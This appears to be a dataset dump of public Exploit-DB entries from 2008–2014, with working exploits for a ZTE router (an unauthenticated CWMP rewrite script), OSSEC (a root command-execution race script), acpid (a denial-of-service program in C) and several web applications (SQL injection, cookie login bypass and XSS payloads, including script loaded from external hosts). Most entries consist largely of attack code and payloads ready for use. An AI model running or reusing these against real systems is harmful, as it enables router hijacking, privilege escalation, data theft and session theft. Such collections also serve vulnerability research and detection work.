QLWD/code_shield huggingface dataset:
标题: ZTE ZXHN H108L - Authentication Bypass (2) EDB-ID: 35276 CVE: 2014-8493 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-11-17 漏洞利用脚本: About the software
==================

ZTE ZXHN H108L is provided by some large Greek ISPs to their subscribers.

Vulnerability Details
=====================

CWMP configuration is accessible only through the Administrator account. CWMP is a protocol widely used by ISPs worldwide for remote provisioning and troubleshooting their subscribers' equipment. However editing the CWMP configuration (more specifically sending the POST request) does not require any user authentication.

Affected Products
=================
Device model : ZTE ZXHN H108L
Firmware Version : ZXHN H108LV4.0.0d_ZRQ_GR4

Proof of Concept
================

#!/usr/bin/python

import requests

acs_server = "http://<server>:<port>"
acs_user = "user"
acs_pass = "pass"

# Connection request parameters. When a request is made to the following URL, using the specified user/pass combination,
# router will connect back to the ACS server.

conn_url = "/tr069"
conn_port = "7564"
conn_user = "user"
conn_pass = "pass"

#Periodic inform parameters
active = 1
interval = 2000

payload = {'CWMP_active': '1', 'CWMP_ACSURL': acs_server,'CWMP_ACSUserName': acs_user,'CWMP_ACSPassword': acs_pass, 'CWMP_ConnectionRequestPath': conn_url, 'CWMP_ConnectionRequestPort': conn_port, 'CWMP_ConnectionRequestUserName': conn_user, 'CWMP_ConnectionRequestPassword': conn_pass, 'CWMP_PeriodActive': active, 'CWMP_PeriodInterval': interval, 'CWMPLockFlag': '0' }

r = requests.post("http://192.168.1.254/Forms/access_cwmp_1", data=payload)

Impact
======

The described vulnerability allows any unauthenticated user to edit the CWMP configuration. Exploitation can be performed by LAN users or through the Internet if the router is configured to expose the web interface to WAN. Also because the router lacks of CSRF protection, malicious JS code can be deployed in order to exploit the vulnerability through a  malicious web page.

Severity
========

Medium

References
==========

https://projectzero.gr/en/2014/11/zte-zxhn-h108l-authentication-bypass/


Disclosure Timeline
===================

27/10/2014 - First communication attempt to both vendor and ISP
04/11/2014 - ZTE response states that ISP should be contacted
03/11/2014 - Second attempt to contact the ISP.
14/11/2014 - No response from ISP. Public Disclosure

Contact Information
===================
Domain:    https://projectzero.gr
Social:    twitter.com/projectzerolabs
Contact:    labs _at_ projectzero.gr URL: https://www.exploit-db.com/exploits/35276
标题: Zoph 0.9.1 - Multiple Vulnerabilities EDB-ID: 35278 CVE: 2014-9236 2014-9235 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-17 漏洞利用脚本: =============================================
MGC ALERT 2014-005
- Original release date: March 5, 2014
- Last revised:  November 18, 2014
- Discovered by: Manuel Garcia Cardenas
- Severity: 10/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
Multiple Vulnerabilities in Zoph <= 0.9.1

II. BACKGROUND
-------------------------
Zoph (Zoph Organizes Photos) is a web based digital image presentation and
management system. In other words, a photo album. It is built with PHP,
MySQL and Perl.

III. DESCRIPTION
-------------------------
It is possible to inject SQL code in the variables "id" and "action" on the
pages group, photos and user. This bug was found using the portal with
authentication. To exploit the vulnerability only is needed use the version
1.0 of the HTTP protocol to interact with the application.
Has been detected a reflected XSS vulnerability in Zoph, that allows the
execution of arbitrary HTML/script code to be executed in the context of
the victim user's browser.

IV. PROOF OF CONCEPT
-------------------------
SQL Injection:

/zoph/php/group.php?_action=1'%22&_clear_crumbs=1
/zoph/php/photos.php?location_id=1'%22
/zoph/php/user.php?user_id=&_action=1'%22

Cross-Site Scripting GET:

/zoph/php/edit_photos.php?photographer_id=3"><script>alert(1)</script>
/zoph/php/edit_photos.php?album_id=2&_crumb=3"><script>alert(1)</script>

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
Zoph <= 0.9.1

VII. SOLUTION
-------------------------
No news releases

VIII. REFERENCES
-------------------------
http://www.zoph.org/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel Garcia Cardenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
March 11, 2014 1: Initial release

XI. DISCLOSURE TIMELINE
-------------------------
March 5, 2014 1: Vulnerability acquired by Manuel Garcia Cardenas
March 5, 2014 2: Send to vendor
June 17, 2014 3: Second mail to the verdor without response
November 18, 2014 4: Sent to lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester URL: https://www.exploit-db.com/exploits/35278
标题: Maarch LetterBox 2.8 - (Authentication Bypass) Insecure Cookies EDB-ID: 35271 CVE: 2014-8995 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-17 漏洞利用脚本: # Title        : Maarch LetterBox 2.8 Insecure Cookie Handling Vulnerability (Login Bypass)
# Author       : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com
# Home         : http://milw00rm.com / its online
# Date         : 17.11.2014
# Demo     : http://www.era.sn/courrier
# Download     : http://downloads.sourceforge.net/project/maarchletterbox/MaarchLetterBox2.8.zip
# Thks         : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others

you first go here:

http://www.target.com/path/index.php?page=welcome.php

you will go login.php, but if we change our cookie's with this exploit we will be login admin panel.

exploit:

javascript:document.cookie = "UserId=[username] ' or '; path=/";

or you edit your cookie's with "Cookies Manager"

name     = maarch
contents = UserId=username ' or '
host     = your target
path     = /script_path/

and dont change other options its keep default. URL: https://www.exploit-db.com/exploits/35271
标题: ZTE ZXHN H108L - Authentication Bypass (1) EDB-ID: 35272 CVE: 2014-8493 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-11-17 漏洞利用脚本: # Exploit Title: ZTE ZXHN H108L Authentication Bypass
# Date: 14/11/2014
# Exploit Author: Project Zero Labs (https://projectzero.gr | 
labs@projectzero.gr)
# Vendor Homepage: www.zte.com.cn
# Version: ZXHN H108LV4.0.0d_ZRQ_GR4
# Tested on: ZTE ZXHN H108L
# CVE : CVE-2014-8493

#Original post at 
https://projectzero.gr/en/2014/11/zte-zxhn-h108l-authentication-bypass/

Description
===========
CWMP configuration is accessible only through the Administrator account. 
CWMP is a protocol widely used by ISPs worldwide for remote provisioning 
and troubleshooting subscribers' equipment. However editing the CWMP 
parameters (more specifically sending the POST request) does not require 
any user authentication.

Proof of Concept
================

#!/usr/bin/python

import requests

acs_server = "http://<server>:<port>"
acs_user = "user"
acs_pass = "pass"

# Connection request parameters. When a request is made to the following 
URL, using the specified user/pass combination,
# router will connect back to the ACS server.

conn_url = "/tr069"
conn_port = "7564"
conn_user = "user"
conn_pass = "pass"

#Periodic inform parameters
active = 1
interval = 2000

payload = {'CWMP_active': '1', 'CWMP_ACSURL': 
acs_server,'CWMP_ACSUserName': acs_user,'CWMP_ACSPassword': acs_pass, 
'CWMP_ConnectionRequestPath': conn_url, 'CWMP_ConnectionRequestPort': 
conn_port, 'CWMP_ConnectionRequestUserName': conn_user, 
'CWMP_ConnectionRequestPassword': conn_pass, 'CWMP_PeriodActive': 
active, 'CWMP_PeriodInterval': interval, 'CWMPLockFlag': '0' }

r = requests.post("http://192.168.1.254/Forms/access_cwmp_1", 
data=payload)

Disclosure Timeline
===================

27/10/2014 - First communication attempt to both vendor and ISP
04/11/2014 - ZTE response stating that ISP should be contacted
03/11/2014 - Second attempt to contact the ISP.
14/11/2014 - No response from ISP. Public Disclosure URL: https://www.exploit-db.com/exploits/35272
标题: PHPFox - Persistent Cross-Site Scripting EDB-ID: 35274 CVE: 2014-8469 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-17 漏洞利用脚本: # Exploit Title: PHPFox XSS AdminCP
# Date: 2014-10-22
# Exploit Author: Wesley Henrique Leite aka "spyk2r"
# Vendor Homepage: http://www.moxi9.com
# Version: All version
# CVE : CVE-2014-8469

# Response Vendor: fixed 2014-10-23 (to v4 Beta)

[+] DESCRIPTION

The system stores all urls accessed in a database table, below
information in the same 'phpfox_log_session'

[phpfox]> desc phpfox_log_session;
+---------------+----------------------+------+-----+---------+-------+
|       Field         | Type         | Null | Key | Default | Extra |
+---------------+----------------------+------+-----+---------+-------+
++++++++++ more values and
| user_agent  | varchar(100)  | NO   |       | NULL    |       |
+---------------+----------------------+------+-----+---------+-------+

the column that can be manipulated is:
-> user_agent (100)

all acess store in the system, such as bots and users wandering around the
web site, can be seen in:

AdminCP
TOOLS > Online > Guests/Boots

Output
| IP ADDRESS   | User-Agent    |   ...

knowing this, the following code was created to inject a script into the
AdminCP with User-Agent.

$ curl -A "<script src='http://www.example.com/script.js'></script>" \
 http://www.meusite.com.br/

OR

$ curl -A "<script>alert(1);</script>" http://www.meusite.com.br/

when any user with administrative access in.
'AdminCP'
TOOLS > Online > Guests/Boots

we have the script running in the administrative area.


[+] My Solution

   (line 1.8)

     1.1 --- a/module/core/template/default/controller/admincp/online-guest.html.php
Tue Oct 21 10:00:11 2014 -0200
     1.2 +++ b/module/core/template/default/controller/admincp/online-guest.html.php
Tue Oct 21 12:28:39 2014 -0200
     1.3 @@ -25,7 +25,7 @@
     1.4  {foreach from=$aGuests key=iKey item=aGuest}
     1.5   <tr class="checkRow{if is_int($iKey/2)} tr{else}{/if}">
     1.6   <td><a href="{url link='admincp.core.ip'
search=$aGuest.ip_address_search}" title="{phrase
var='admincp.view_all_the_activity_from_this_ip'}">{$aGuest.ip_address}</a></td>
     1.7 - <td>{$aGuest.user_agent}</td>
     1.8 + <td>{$aGuest.user_agent|strip_tags}</td>
     1.9   <td class="t_center">
    1.10   <div class="js_item_is_active"{if !$aGuest.ban_id}
style="display:none;"{/if}>
    1.11   <a href="#?call=ban.ip&ip={$aGuest.ip_address}&active=0"
class="js_item_active_link" title="{phrase var='admincp.unban'}">{img
theme='misc/bullet_green.png' alt=''}</a>
    1.12 @@ -43,4 +43,4 @@
    1.13  <div class="extra_info">
    1.14   {phrase var='admincp.no_guests_online'}
    1.15  </div>
    1.16 -{/if}
    1.17 \ No newline at end of file
    1.18 +{/if} URL: https://www.exploit-db.com/exploits/35274
标题: WordPress Plugin RSS Feed Reader 0.1 - 'rss_url' Cross-Site Scripting EDB-ID: 35261 CVE: 2011-0740 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/45997/info

The RSS Feed Reader WordPress Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

RSS Feed Reader WordPress Plugin 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/rss-feed-reader/magpie/scripts/magpie_slashbox.php?rss_url=%3Cscript%3Ealert(0)%3C/script%3E URL: https://www.exploit-db.com/exploits/35261
标题: ActiveWeb Professional 3.0 - Arbitrary File Upload EDB-ID: 35256 CVE: 2011-0678 类型: WEBAPPS 平台: CFM 发布日期: 2011-01-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/45985/info

ActiveWeb Professional is prone to an arbitrary-file-upload vulnerability because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; successful exploits will allow attackers to completely compromise the affected computer.

Lomtec ActiveWeb Professional 3.0 is vulnerable; other versions may also be affected. 

1. Go to the page http://www.example.com/activeweb/EasyEdit.cfm?module=EasyEdit&page=getimagefile&Filter=

2. Change the 'UploadDirectory' and 'Accepted Extensions' hidden form fields to upload the malicious file to the directory of interest. URL: https://www.exploit-db.com/exploits/35256
标题: PivotX 2.2 - '/pivotx/includes/timwrapper.php?src' Cross-Site Scripting EDB-ID: 35260 CVE: 2011-0772 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/45996/info
 
PivotX is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
PivotX 2.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/includes/timwrapper.php?src=%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/35260
标题: PivotX 2.2 - '/pivotx/includes/blogroll.php?color' Cross-Site Scripting EDB-ID: 35259 CVE: 2011-0772 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/45996/info

PivotX is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

PivotX 2.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/includes/blogroll.php?id=1&color=123;}</style><script>alert("XSS");</script>| URL: https://www.exploit-db.com/exploits/35259
标题: Eclipse 3.3.2 IDE - 'Help Server help/advanced/workingSetManager.jsp?workingSet' Cross-Site Scripting EDB-ID: 35243 CVE: 2008-7271 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-04-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/45921/info
 
Eclipse IDE is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
Eclipse IDE 3.3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/help/advanced/workingSetManager.jsp?operation=add&workingSet='%3E%3Cscript%20src%3D'http%3A%2F%2F1.2.3.4%2Fa.js'%3E%3C%2Fscript%3E
&hrefs=%2Fcom.adobe.flexbuilder.help.api%2Ftoc.xml&oldName= URL: https://www.exploit-db.com/exploits/35243
标题: PivotX 2.2.2 - 'module_image.php' Cross-Site Scripting EDB-ID: 35254 CVE: 2011-0773 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/45983/info

PivotX is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PivotX 2.2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/pivotx/pivotx/modules/module_image.php?image=%3Cscript%3Ealert(0)%3C/script%3E URL: https://www.exploit-db.com/exploits/35254
标题: Eclipse 3.3.2 IDE - 'Help Server help/advanced/searchView.jsp?SearchWord' Cross-Site Scripting EDB-ID: 35242 CVE: 2008-7271 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-04-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/45921/info

Eclipse IDE is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Eclipse IDE 3.3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/help/advanced/searchView.jsp?searchWord=a");}alert('xss');</script> URL: https://www.exploit-db.com/exploits/35242
标题: phpCMS 2008 V2 - 'data.php' SQL Injection EDB-ID: 35239 CVE: 2011-0645 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/45913/info

PHPCMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

PHPCMS 2008 V2 is vulnerable; other versions may also be affected. 

http://www.example.com/path/data.php?action=get&where_time=-1+union+all+select+1,database()-- URL: https://www.exploit-db.com/exploits/35239
标题: acpid 1.0.x - Multiple Local Denial of Service Vulnerabilities EDB-ID: 35240 CVE: 2011-1159 类型: DOS 平台: LINUX 发布日期: 2011-01-19 漏洞利用脚本: // source: https://www.securityfocus.com/bid/45915/info

The 'acpid' daemon is prone to multiple local denial-of-service vulnerabilities.

Successful exploits will allow attackers to cause the application to hang, denying service to legitimate users.

acpid 1.0.10 is vulnerable; other versions may also be affected.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <errno.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>

/* Tested on acpid-1.0.10 (Ubuntu 10.04) */

int ud_connect(const char *name)
{
 int fd;
 int r;
 struct sockaddr_un addr;

 fd = socket(AF_UNIX, SOCK_STREAM, 0);
 if (fd < 0) {
  perror("socket");
  return fd;
 }

 memset(&addr, 0, sizeof(addr));
 addr.sun_family = AF_UNIX;
 sprintf(addr.sun_path, "%s", name);

 r = connect(fd, (struct sockaddr *)&addr, sizeof(addr));
 if (r < 0) {
  perror("connect");
  close(fd);
  return r;
 }

 return fd;
}

int main(int argc, char *argv[])
{
 int fd;
 char c;

 if (argc != 2) {
  fprintf(stderr, "Usage: prog fname\n");
  exit(1);
 }

 fd = ud_connect(argv[1]);
 if (fd < 0)
  exit(1);
 printf("\"Hanging\" socket opened, fd = %d\n", fd);

 fd = ud_connect(argv[1]);
 if (fd < 0)
  exit(1);
 printf("Normal socket opened, fd = %d\n", fd);

 while (1) {
  static int n;
  read(fd, &c, 1);
  fflush(stdout);
  if (c == '\n') {
   printf("%d messages in queue\n", ++n);
  }
 }
} URL: https://www.exploit-db.com/exploits/35240
标题: clientResponse Client Management 4.1 - Cross-Site Scripting EDB-ID: 35248 CVE: 2014-100013 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2014-11-15 漏洞利用脚本: # Exploit Title: clientResponse Client Management XSS Vulnerability
# Date: 14-10-2014
# Exploit Author: Halil Dalabasmaz
# Version: v4.1
# Vendor Homepage:
http://codecanyon.net/item/clientresponse-responsive-php-client-management/3797780
# Tested on: Chrome & Iceweasel

# Vulnerability Description:

===Stored XSS===
The message system of script is not secure. You can run XSS payloads on
"Subject" and "Message" inputs. If you use "Subject" input for attack and
send the message to admin when admin login the system it will be directly
affect by vulnerability. Also profile section inputs are vulnerable.

Sample Payload for Stored XSS: "><script>alert(document.cookie);</script>

=Solution=
Filter the input fields against to XSS attacks.
================ URL: https://www.exploit-db.com/exploits/35248
标题: Pango Font Parsing - 'pangoft2-render.c' Heap Corruption EDB-ID: 35232 CVE: 2011-0020 类型: REMOTE 平台: LINUX 发布日期: 2011-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/45842/info

Pango is prone to a remote heap-corruption vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35232.zip URL: https://www.exploit-db.com/exploits/35232
标题: OSSEC 2.8 - 'hosts.deny' Local Privilege Escalation EDB-ID: 35234 CVE: 2014-5284 类型: LOCAL 平台: LINUX 发布日期: 2014-11-14 漏洞利用脚本: #!/usr/bin/python
# Exploit Title: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation
# Date: 14-11-14
# Exploit Author: skynet-13
# Vendor Homepage: www.ossec.net/
# Software Link: https://github.com/ossec/ossec-hids/archive/2.8.1.tar.gz
# Version: OSSEC  - 2.8
# Tested on: Ubunutu x86_64
# CVE : 2014-5284

# Created from Research by
# Jeff Petersen
# Roka Security LLC
# jpetersen@rokasecurity.com
# Original info at https://github.com/ossec/ossec-hids/releases/tag/2.8.1

# Run this on target machine and follow instructions to execute command as root

from twisted.internet import inotify
from twisted.python import filepath
from twisted.internet import reactor
import os
import optparse
import signal


class HostDenyExploiter(object):

    def __init__(self, path_to_watch, cmd):
        self.path = path_to_watch
        self.notifier = inotify.INotify()
        self.exploit = cmd

    def create_files(self):
        print "=============================================="
        print "Creating /tmp/hosts.deny.300 through /tmp/hosts.deny.65536 ..."

        for i in range(300, 65536):
            filename = "/tmp/hosts.deny.%s" % i
            f = open(filename, 'w')
            f.write("")
            f.close()

    def watch_files(self):
        print "=============================================="
        print "Monitoring tmp for file change...."
        print "ssh into the system a few times with an incorrect password"
        print "Then wait for up to 10 mins"
        print "=============================================="
        self.notifier.startReading()
        self.notifier.watch(filepath.FilePath(self.path), callbacks=[self.on_file_change])

    def write_exploit_to_file(self, path):
        print 'Writing exploit to this file'
        f = open(str(path).split("'")[1], 'w')
        f.write(' sshd : ALL : twist %s \n' % self.exploit)
        f.close()
        print "=============================================="
        print " ssh in again to execute the command"
        print "=============================================="
        print "               End Prog."
        os.kill(os.getpid(), signal.SIGUSR1)

    def on_file_change(self, watch, path, mask):
        print 'File: ', str(path).split("'")[1], ' has just been modified'
        self.notifier.stopReading()
        self.write_exploit_to_file(path)


if __name__ == '__main__':
    parser = optparse.OptionParser("usage of program \n" + "-c Command to run as root in quotes\n")
    parser.add_option('-c', dest='cmd', type='string', help='Used to specify a command to run as root')
    (options, args) = parser.parse_args()
    cmd = options.cmd
    if options.cmd is None:
        print parser.usage
        exit(0)
    ex = HostDenyExploiter('/tmp', cmd)
    ex.create_files()
    ex.watch_files()
    reactor.run()
    exit(0) URL: https://www.exploit-db.com/exploits/35234